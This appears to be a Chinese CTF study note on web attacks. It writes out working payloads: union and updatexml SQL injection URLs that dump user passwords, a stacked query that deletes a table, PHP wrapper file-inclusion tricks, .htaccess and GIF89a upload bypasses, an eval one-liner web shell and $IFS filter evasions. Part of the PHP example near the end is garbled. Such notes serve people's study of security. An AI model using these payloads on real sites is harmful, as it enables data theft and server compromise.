web之linux基本操作
1、Linux中“./”在系统文件中表示绝对路径的意思。 linux系统中,所有的文件与目录都是由根目录/开始,不是以/开头的就是相对路径; 1、“.”表示当前目录,也可以用“./”表示; 2、“…”表示上一级目录,也可以用“…/”表示; 3、“~” 代表用户自己的宿主目录; 4、“/”处于Linux文件系统树形结构的最顶端,我们称它为Linux文件系统的root,它是Linux文件系统的入口。 所有的目录、文件、设备都在/之下,它是Linux文件系统最顶层的唯一的目录; 一般建议在根目录下面只有目录,不要直接存放文件;根目录是linux系统启动时系统第一个载入的分区,所以启动过程中用到的文件应该都放在这个分区中。 其中/etc、/bin、/dev、/lib、/sbin这5个子目录都应该要与根目录连在一起,不可独立成为某个分区。
web之sql注入
1、基本注入方式: 求列数:http://127.0.0.1/sqli/Less-2/?id=1 order by 3 # 求显示位:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 # 求库名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3 # 求表名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ # 求列名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ # 求字段值:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x23,password),3 from security.users # 2、堆叠注入:sql注入的时候可能会出现禁用单词的情况,这时候可以使用“堆叠注入”在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。4、文件包含漏洞利用伪协议进行操作:php://filter/convert.base64-encode/resource=绝对路劲或相对路劲 3、sql注入空格绕过: $IFS$1替换 ${IFS替换 %20替换 <和<>重定向符替换 %09替换 4、sql注入rename table 表名 to 新表名 #更改表名 alter table 表名 change 旧字段名 新字段名 字段类型 #更改表中字段名 5、sql注入之盲注:可以使用sqlmap跑(需要学习) 6、sqlmap使用: 7、union select 小技巧:在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据 我们通过union select查询就可以构造一行虚拟的数据,进行MD5密码验证的绕过 8、updatexml报错注入: 爆数据库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123 爆表名:?username=admin’or(updatexml(1,concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23&pa ssword=123 爆列名:?username=admin’or(updatexml(1,concat(0x7e, (select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23&pa ssword=123 爆字段名:?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=123 left right 拼接flag: 可以使用left(),right()来进行拼接操作 ?username=admin’or(updatexml(1,concat(0x7e, (select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123 ?username=admin’or(updatexml(1,concat(0x7e, (select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
web之上传绕过
1、基本绕过 抓包查看黑白名单,通过修改其黑白名单进行绕过 2、大小写绕过,通过修改后缀的大小写来进行绕过 3、后缀名修改就行绕过php,php3,php4,php5,phtml.pht 4、.htaccess文件绕过 : SetHandler application/x-httpd-php 将其他文件转化为php文件 .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。新建.htaccess文件,编辑内容为SetHandler application/x-httpd-php //该语句作用是让Apache将其他类型文件均以php格式解析 更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。 ####buuctf 你传你🐎呢 5、可以绕过<?检查,可以绕过头文件检查:GIF89a
web之协议
1、rotobs.txt:网路爬虫协议
web之命令执行
####1 ‘|’ 真|真=true -> 执行后面面的 假|真=false -> 都不执行 ####2 ‘||’ 真||真=true -> 执行前面的 真||假 or 假||真 谁真执行谁 ####3 ‘&’ 真&真 = true ->两个都执行 真&假or假&真 -> 真的执行 ####4 ‘&&’ 真&&真 ->都执行 假&&真 ->执行到有假的地方报错 以0e开头的字符串且MD5后还是0e:0e215962017 0e291242476940776845150308577824 cat 与 tac: cat的功能是将文件从第一行开始连续的将内容输出在屏幕上。但是cat并不常用,原因是当文件大,行数比较多时,屏幕无法全部容下时,只能看到一部分内容。 tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上。我们可以发现,tac实际上是cat反过来写。 命令执行时如果过滤php 可以<?=eval(\$_POST[a]);?> 这样书写一句话
web总结
1、php中isset判断变量是否声明 2、sql注入rename table 表名 to 新表名 #更改表名 alter table 表名 change 旧字段名 新字段名 字段类型 #更改表中字段名 求列数:http://127.0.0.1/sqli/Less-2/?id=1 order by 3 # 求显示位:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 # 求库名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3 # 求表名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #n. 求列名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ # 求字段值:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x23,password),3 from security.users # 3、sql注入的时候可能会出现禁用单词的情况,这时候可以使用“堆叠注入”在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。4、文件包含漏洞利用伪协议进行操作:php://filter/convert.base64-encode/resource=绝对路劲或相对路劲 php://input #可以用来实现文件上传中的任意命令执行 php://filter/read=convert.base64-encode/resource data伪协议。data协议通常是用来执行PHP代码:data://text/plain;base64,文件内容 5、空格过滤绕过: ${IFS}替换php的serialize()函数和unserialize()函数
适用情境:serialize()返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。比较有用的地方就是将数据存入数据库或记录在文件中的时候
serialize()可处理处资源类型外所有的类型,也可以序列化对象 <?php $array = array(); $array['keys'] = 'www'; $array['values']='11111'; $a = serialize($array); echo $a; unset($array); $a = unserialize($a); print_r($a); ?>
输出
a:2:{s:4:“keys”;s:3:“www”;s:6:“values”;s:5:“11111”;}
Array ( [keys] => www [values] => 11111 )
$IFS
${IFS}
$IFS$1替换
%20替换
<和<>重定向符替换
%09替换
6、更改头文件信息之改变原地址:Referer:+新地址 更改头文件信息之改变访问浏览器:User-Agent:+新浏览器 更改头文件信息之改变IP地址:X-Forwarded-For:+新ip地址 7、php之var_dump:“var_dump”是PHP中的调试函数,用于判断一个变量的类型与长度,并输出变量的数值。 用var_dump打印所有的对象,可以查看对象内部的数据结构;var_dump里面的变量必须是存在的。 php之scandir()函数:<?php $dir = “/images/”; // 以升序排序 - 默认
a
=
s
c
a
n
d
i
r
(
a = scandir(
a=scandir(dir); // 以降序排序
b
=
s
c
a
n
d
i
r
(
b = scandir(
b=scandir(dir,1); print_r(
a
)
;
p
r
i
n
t
r
(
a); print_r(
a);printr?(b); ?> scandir()函数可以显示所有被选中目录下的文件和目录如果选中的是“/” php之file_get_contents()函数:把整个整个文件读入一个字符串中。 php之后缀名绕过:php,php3,php4,php5,phtml.pht php之一句话:GIF89a?
|